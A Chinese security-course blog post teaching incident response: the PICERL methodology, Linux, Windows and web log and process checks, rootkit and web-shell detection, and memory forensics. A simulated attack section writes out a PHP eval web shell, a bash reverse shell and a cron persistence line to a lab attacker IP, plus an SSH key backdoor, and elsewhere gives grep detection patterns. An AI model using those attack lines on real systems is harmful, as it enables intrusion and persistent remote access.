应急响应实战

0 阅读9分钟

应急响应实战

马哥教育网络安全课程实战博客 · 第十五篇 对应课程章节:第27章 应急响应 实验环境:4台 Ubuntu 24.04 服务器,攻击机 113.47.1.165


一、引言

当安全事件发生时,应急响应是减少损失的关键。应急响应不是简单的查杀病毒,而是一套系统化的方法论:从发现、遏制、根除到恢复和复盘,每个环节都有明确的目标和操作流程。本篇将讲解 PICERL 应急响应方法论,并结合 Linux、Windows、Web 应用三个维度进行实战演练。


二、应急响应方法论:PICERL

PICERL 是应急响应的六阶段模型,每个阶段环环相扣:

P (Preparation)      → 准备阶段:建立应急响应能力
I (Identification)   → 识别阶段:发现和确认安全事件
C (Containment)      → 遏制阶段:阻止攻击扩散
E (Eradication)      → 根除阶段:清除威胁根源
R (Recovery)         → 恢复阶段:恢复业务正常运行
L (Lessons Learned)  → 复盘阶段:总结改进

2.1 准备阶段(Preparation)

在事件发生前建立应急响应能力:

# 建立应急响应工具箱
mkdir -p /opt/ir-toolkit/{linux,windows,scripts}
# 准备静态编译的工具: busybox, lsof, netstat, ps, find
# 确保工具的完整性(计算 hash 并安全存储)

# 部署日志收集系统
# 配置远程日志服务器,防止攻击者清除本地日志
echo "*.* @@log-server.internal:514" >> /etc/rsyslog.conf

# 建立基线快照
# 定期记录系统关键文件 hash
find /etc /usr/bin /usr/sbin /bin /sbin -type f -exec sha256sum {} \; > /opt/baseline_hashes.txt

2.2 识别阶段(Identification)

识别安全事件的存在和范围:

# 异常告警来源
# - IDS/IPS 告警
# - SIEM 关联告警
# - 异常网络流量
# - 用户报告
# - 安全扫描发现

# 初步确认
# 检查告警真实性,排除误报
# 确定事件类型: 入侵、数据泄露、恶意软件、DoS

2.3 遏制阶段(Containment)

阻止攻击进一步扩散,分为短期遏制和长期遏制:

# 短期遏制(快速止血)
# - 断开可疑网络连接
# - 禁用 compromised 账户
# - 隔离受感染主机

# 长期遏制(彻底隔离)
# - 将受感染主机移至隔离 VLAN
# - 阻断攻击者 C2 服务器 IP
# - 重置所有可能泄露的凭据

2.4 根除阶段(Eradication)

彻底清除威胁:

# 清除恶意软件和后门
# 修复被利用的漏洞
# 清除攻击者植入的持久化机制
# 重置所有被泄露的密码和密钥

2.5 恢复阶段(Recovery)

恢复业务正常运行:

# 从干净备份恢复系统
# 验证系统完整性
# 逐步恢复网络连接
# 持续监控,确认无残留威胁

2.6 复盘阶段(Lessons Learned)

# 编写事件报告
# 分析攻击路径和根因
# 制定改进措施
# 更新应急响应流程
# 开展安全培训

三、Linux 应急响应

3.1 日志分析

3.1.1 认证日志
# 查看成功登录记录
grep "Accepted" /var/log/auth.log

# 查看失败登录记录(暴力破解检测)
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn

# 查看异常登录时间和来源
last -20
lastb -20  # 失败登录

# 检查 SSH 异常登录
grep "Accepted" /var/log/auth.log | grep -v "192.168"  # 非内网登录
grep "session opened for user root" /var/log/auth.log  # root 登录

# 检查 sudo 使用记录
grep "sudo:" /var/log/auth.log
3.1.2 系统日志
# 查看系统异常事件
grep -i "error\|warning\|critical" /var/log/syslog | tail -50

# 检查服务异常启停
grep -i "started\|stopped\|failed" /var/log/syslog

# 检查内核日志
dmesg | grep -i "error\|warn\|segfault"

# 检查计划任务日志
grep CRON /var/log/syslog | tail -20
3.1.3 应用日志
# Nginx 访问日志分析
tail -100 /var/log/nginx/access.log
# 统计访问 IP
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 检测 SQL 注入特征
grep -i "union\|select\|insert\|drop" /var/log/nginx/access.log
# 检测目录遍历
grep "\.\./" /var/log/nginx/access.log

# MySQL 日志
grep -i "error\|warning" /var/log/mysql/error.log

3.2 进程分析

# 查看所有进程,关注异常进程
ps aux --sort=-%cpu | head -20
ps aux --sort=-%mem | head -20

# 查找隐藏进程
ps -ef | awk '{print $2}' | sort > /tmp/ps_pids
ls /proc | grep -E '^[0-9]+$' | sort > /tmp/proc_pids
diff /tmp/ps_pids /tmp/proc_pids  # 差异即为隐藏进程

# 查看网络连接
ss -tunlp
netstat -tunlp

# 查看异常监听端口
ss -tlnp | grep -v "22\|80\|443\|8080"  # 排除常见端口

# 查看进程打开的文件
lsof -i -P -n | grep ESTABLISHED  # 活动网络连接
lsof -p <PID>  # 特定进程打开的文件

# 检查反弹 shell 特征
# 反弹 shell 通常表现为 bash/sh 连接到外部 IP
lsof -i -P -n | grep -E "bash|sh|python|perl" | grep ESTABLISHED

3.3 文件完整性检查

# 检查关键目录的新增文件
find /etc -newer /tmp/marker_file -type f 2>/dev/null
find /usr/bin /usr/sbin /bin /sbin -newer /tmp/marker_file -type f 2>/dev/null

# 检查 SUID/SGID 文件
find / -perm -4000 -type f 2>/dev/null  # SUID
find / -perm -2000 -type f 2>/dev/null  # SGID

# 与基线 hash 对比
sha256sum /usr/bin/ssh /usr/bin/sudo /bin/su > /tmp/current_hashes.txt
diff /opt/baseline_hashes.txt /tmp/current_hashes.txt

# 检查最近修改的文件
find / -mtime -1 -type f 2>/dev/null | grep -v "/proc\|/sys\|/run\|/var/log"

# 检查隐藏文件和目录
find / -name ".*" -type f 2>/dev/null | grep -v "/home/.*\.\(bashrc\|bash_history\|profile\|ssh\)"

3.4 恶意软件检测与分析

# 检查异常计划任务
crontab -l 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

# 检查 systemd 异常服务
systemctl list-unit-files --state=enabled | grep -v "ssh\|network\|cron\|systemd"

# 检查启动脚本
cat /etc/rc.local 2>/dev/null
ls -la /etc/init.d/

# 检查异常环境变量
cat /etc/environment
cat /etc/ld.so.preload 2>/dev/null  # LD_PRELOAD 持久化

# 分析可疑文件
file /tmp/.sysupdate  # 检查文件类型
strings /tmp/.sysupdate | grep -i "http\|exec\|bash\|python"  # 提取字符串
md5sum /tmp/.sysupdate  # 计算 hash 用于威胁情报查询

3.5 Rootkit 检测

# 使用 rkhunter
apt install rkhunter
rkhunter --update
rkhunter --check --sk

# 使用 chkrootkit
apt install chkrootkit
chkrootkit

# 手动检测
# 检查内核模块
lsmod | grep -v "ext4\|xfs\|dm_\|sd_\|ahci\|libata"
# 对比已知模块列表,发现异常模块

# 检查 /proc/kallsyms 是否被篡改
cat /proc/kallsyms | head

# 检查系统调用表
# 如果内核模块 hook 了系统调用,lsmod 可能被隐藏
# 使用 cat /proc/modules 对比 lsmod
diff <(lsmod | awk '{print $1}' | sort) <(cat /proc/modules | awk '{print $1}' | sort)

四、Windows 应急响应(概念)

4.1 事件日志分析

# 查看安全日志中的登录事件
# Event ID 4624: 登录成功
# Event ID 4625: 登录失败
# Event ID 4688: 进程创建
# Event ID 4698: 计划任务创建

# 查询成功登录事件
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 50

# 查询登录失败事件(暴力破解检测)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 100 |
    Select-Object TimeCreated, @{Name='User';Expression={$_.Properties[5].Value}}, @{Name='Source';Expression={$_.Properties[19].Value}}

# 查询进程创建事件
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 50 |
    Select-Object TimeCreated, @{Name='Process';Expression={$_.Properties[5].Value}}

# 使用 wevtutil 导出日志
wevtutil epl Security C:\temp\security.evtx

4.2 内存取证

# 使用 Volatility 分析内存镜像
# 首先获取内存镜像(使用 LiME 或 WinPmem)

# Volatility 3 基本分析
python3 vol.py -f memory.dump windows.pslist  # 进程列表
python3 vol.py -f memory.dump windows.psscan  # 扫描隐藏进程
python3 vol.py -f memory.dump windows.netscan  # 网络连接
python3 vol.py -f memory.dump windows.dlllist --pid <PID>  # DLL 列表
python3 vol.py -f memory.dump windows.malfind  # 检测注入代码
python3 vol.py -f memory.dump windows.hivelist  # 注册表蜂巢
python3 vol.py -f memory.dump windows.cmdline  # 命令行历史

4.3 注册表分析

# 检查自启动项
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"

# 检查服务
reg query "HKLM\SYSTEM\CurrentControlSet\Services" | findstr -v "Routine\|Parameters"

# 检查计划任务
schtasks /query /fo LIST /v

# 检查 WMI 订阅
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

五、Web 应用应急响应

5.1 Web 日志分析

# Nginx/Apache 访问日志分析

# 统计请求量最大的 IP(可能为扫描器)
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 检测 SQL 注入攻击
grep -iE "union.*select|or.*1=1|'.*--|information_schema" /var/log/nginx/access.log

# 检测 XSS 攻击
grep -iE "<script|javascript:|onerror=|onload=" /var/log/nginx/access.log

# 检测目录遍历
grep -E "\.\./|%2e%2e/" /var/log/nginx/access.log

# 检测文件包含
grep -iE "php://|file://|expect://|data://" /var/log/nginx/access.log

# 检测命令执行
grep -iE ";cat|;ls|;id|;whoami|\|cat|\|ls|&&" /var/log/nginx/access.log

# 检测 Web Shell 访问
grep -iE "eval|assert|system|exec|shell_exec|passthru" /var/log/nginx/access.log

# 分析异常 HTTP 状态码
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# 大量 500 错误可能表示攻击成功导致异常

5.2 攻击模式识别

# 识别扫描行为(短时间内大量请求)
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | awk '$1 > 100 {print}'

# 识别爆破行为(大量 401/403 响应)
awk '$9 == 401 || $9 == 403 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn

# 识别 C2 通信(定期访问同一 URL)
awk '{print $1, $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 时间线分析
# 提取特定时间段日志
awk '$4 >= "[15/Jan/2024:10:00:00" && $4 <= "[15/Jan/2024:12:00:00"' /var/log/nginx/access.log

5.3 Web Shell 检测

# 文件特征检测
# 查找包含危险函数的 PHP 文件
find /var/www -name "*.php" -exec grep -l "eval\|assert\|system\|exec\|shell_exec\|passthru\|base64_decode" {} \;

# 查找最近修改的 Web 文件
find /var/www -name "*.php" -mtime -7 -type f

# 查找异常文件名(隐藏文件、伪装文件)
find /var/www -name ".*" -type f
find /var/www -name "*.php.jpg" -o -name "*.phtml" -o -name "*.pht"

# 使用查杀工具
# 使用河马 Web Shell 查杀工具
./hm scan /var/www/

# 检查 .htaccess 是否被篡改
find /var/www -name ".htaccess" -exec cat {} \;
# 关注 AddType、AddHandler 等危险指令

六、实战演练:模拟攻击与应急响应

6.1 场景描述

在实验环境中模拟一次完整的攻击与应急响应:

  • 攻击机 113.47.1.165 对目标 192.168.1.10 发起攻击
  • 植入 Web Shell 和反弹 Shell 后门
  • 建立定时任务持久化
  • 安全团队发现告警后进行应急响应

6.2 模拟攻击

# 攻击者操作
# 1. 通过漏洞上传 Web Shell
echo '<?php @eval($_POST["cmd"]); ?>' > /var/www/html/uploads/config.php

# 2. 通过 Web Shell 执行命令,获取反弹 Shell
nc -lvnp 4444  # 攻击机监听
# Web Shell 中执行: bash -c 'bash -i >& /dev/tcp/113.47.1.165/4444 0>&1'

# 3. 提权后建立持久化
echo "*/30 * * * * /bin/bash -c 'bash -i >& /dev/tcp/113.47.1.165/4444 0>&1'" | crontab -

# 4. 植入 SSH 公钥
echo "ssh-rsa AAAAB3...attacker_key..." >> /root/.ssh/authorized_keys

6.3 应急响应操作

阶段一:识别
# 安全团队收到告警:异常网络连接
# 登录目标主机 192.168.1.10 进行排查

# 检查网络连接,发现异常外连
ss -tunp | grep 113.47.1.165
# 发现: ESTAB 192.168.1.10:54321 -> 113.47.1.165:4444  users:(("bash",pid=12345,fd=3))

# 检查进程树
ps -ef | grep 12345
# 发现 bash 进程由 www-data 用户启动,连接到外部 IP
阶段二:遏制
# 立即断开异常连接
kill -9 12345

# 阻断攻击者 IP
iptables -I INPUT -s 113.47.1.165 -j DROP

# 禁用 www-data 用户的 cron
# 检查并清除 www-data 的 crontab
crontab -u www-data -r

# 临时关闭 Web 服务
systemctl stop nginx
阶段三:根除
# 1. 清除 Web Shell
find /var/www -name "*.php" -exec grep -l "eval\|assert\|system" {} \;
# 发现 /var/www/html/uploads/config.php
rm /var/www/html/uploads/config.php

# 2. 清除 SSH 后门
# 检查 authorized_keys
cat /root/.ssh/authorized_keys
# 删除攻击者公钥
# 编辑文件,移除异常条目

# 3. 清除定时任务
crontab -l  # 检查 root crontab
crontab -r  # 清除(确认后操作)

# 4. 检查其他持久化
# 检查 systemd 服务
systemctl list-unit-files --state=enabled
# 检查 /etc/rc.local, bashrc 等
grep -r "113.47.1.165" /etc /root /home 2>/dev/null

# 5. 检查 LD_PRELOAD
cat /etc/ld.so.preload 2>/dev/null  # 应为空或不存在
grep "LD_PRELOAD" /etc/environment /etc/profile ~/.bashrc 2>/dev/null
阶段四:恢复
# 修复被利用的漏洞
# 例如修复文件上传漏洞:限制上传文件类型、禁用上传目录 PHP 执行

# 恢复 Web 服务
systemctl start nginx

# 重置所有可能泄露的密码
passwd root
passwd www-data
# 重置 SSH 密钥
rm /root/.ssh/authorized_keys  # 重新添加合法公钥

# 验证系统完整性
rkhunter --check --sk
find /var/www -name "*.php" -exec grep -l "eval\|assert\|system" {} \;  # 应无结果
阶段五:复盘
# 编写事件报告
# - 事件时间线
# - 攻击路径分析
# - 影响范围评估
# - 根因分析
# - 改进措施

# 改进措施示例:
# 1. 修复文件上传漏洞,限制上传类型和大小
# 2. 上传目录禁用 PHP 执行: location /uploads/ { location ~ \.php$ { deny all; } }
# 3. 部署 WAF 规则检测 Web Shell 通信
# 4. 配置文件完整性监控(AIDE/Tripwire)
# 5. 部署 HIDS(Wazuh/OSSEC)实时告警
# 6. 配置 SSH 仅允许密钥认证,限制 root 登录

七、工具篇

7.1 ELK Stack 日志分析

# ELK = Elasticsearch + Logstash + Kibana
# 用于集中收集、存储、分析和可视化日志

# Filebeat 配置(采集日志)
cat > /etc/filebeat/filebeat.yml << 'EOF'
filebeat.inputs:
- type: filestream
  id: auth-log
  paths:
    - /var/log/auth.log
- type: filestream
  id: nginx-access
  paths:
    - /var/log/nginx/access.log

output.elasticsearch:
  hosts: ["elasticsearch.internal:9200"]
  index: "security-logs-%{+yyyy.MM.dd}"
EOF

# Kibana 中创建检测规则
# - 检测暴力破解: 5分钟内同一 IP 登录失败超过 10 次
# - 检测异常登录: 非工作时间 root 登录
# - 检测 Web Shell: 访问日志中包含 eval/system 等关键词
# - 检测反弹 Shell: 网络日志中 bash 进程建立外连

7.2 Volatility 内存取证

# 安装 Volatility 3
pip3 install volatility3

# 获取内存镜像
# Linux: 使用 LiME 内核模块
insmod lime.ko "path=/tmp/memory.lime format=lime"

# 分析内存镜像
# 进程列表
python3 vol.py -f /tmp/memory.lime linux.pslist

# 网络连接
python3 vol.py -f /tmp/memory.lime linux.netstat

# 检测注入代码
python3 vol.py -f /tmp/memory.lime linux.malfind

# Bash 历史
python3 vol.py -f /tmp/memory.lime linux.bash

# 内核模块
python3 vol.py -f /tmp/memory.lime linux.lsmod

7.3 其他应急响应工具

工具用途平台
AIDE文件完整性监控Linux
Tripwire文件完整性监控Linux
OSSEC/WazuhHIDS 主机入侵检测Linux/Windows
Sysmon系统活动监控Windows
Autopsy数字取证分析Linux/Windows
YARA恶意软件模式匹配Linux/Windows
LiMELinux 内存取证Linux
WinPmemWindows 内存取证Windows

八、总结

应急响应是安全防御的最后一道防线。掌握 PICERL 方法论,熟悉 Linux、Windows、Web 三个维度的排查技术,能够在事件发生时快速定位、遏制和根除威胁。

应急响应核心原则:

  1. 保持冷静:按流程操作,不要慌乱
  2. 保护证据:先取证后清除,避免破坏证据链
  3. 快速遏制:优先阻止攻击扩散
  4. 彻底根除:不遗漏任何后门和持久化
  5. 完整记录:记录每一步操作,便于复盘
  6. 持续改进:每次事件后更新流程和工具

日常准备建议:

  1. 建立应急响应团队和流程
  2. 准备应急响应工具箱并定期更新
  3. 部署日志集中收集和告警系统
  4. 建立系统基线和文件完整性监控
  5. 定期开展应急响应演练
  6. 制定并测试备份恢复方案

至此,马哥教育网络安全课程实战博客系列暂告一段落。从信息收集、漏洞利用、权限提升到内网渗透、横向移动、应急响应,我们完整走过了渗透测试与安全防御的全流程。安全是一个持续对抗的过程,希望本系列博客能帮助大家建立系统化的安全思维和实战能力。


免责声明:本文所有技术内容仅用于安全教育和授权渗透测试。未经授权对他人系统进行渗透测试属于违法行为。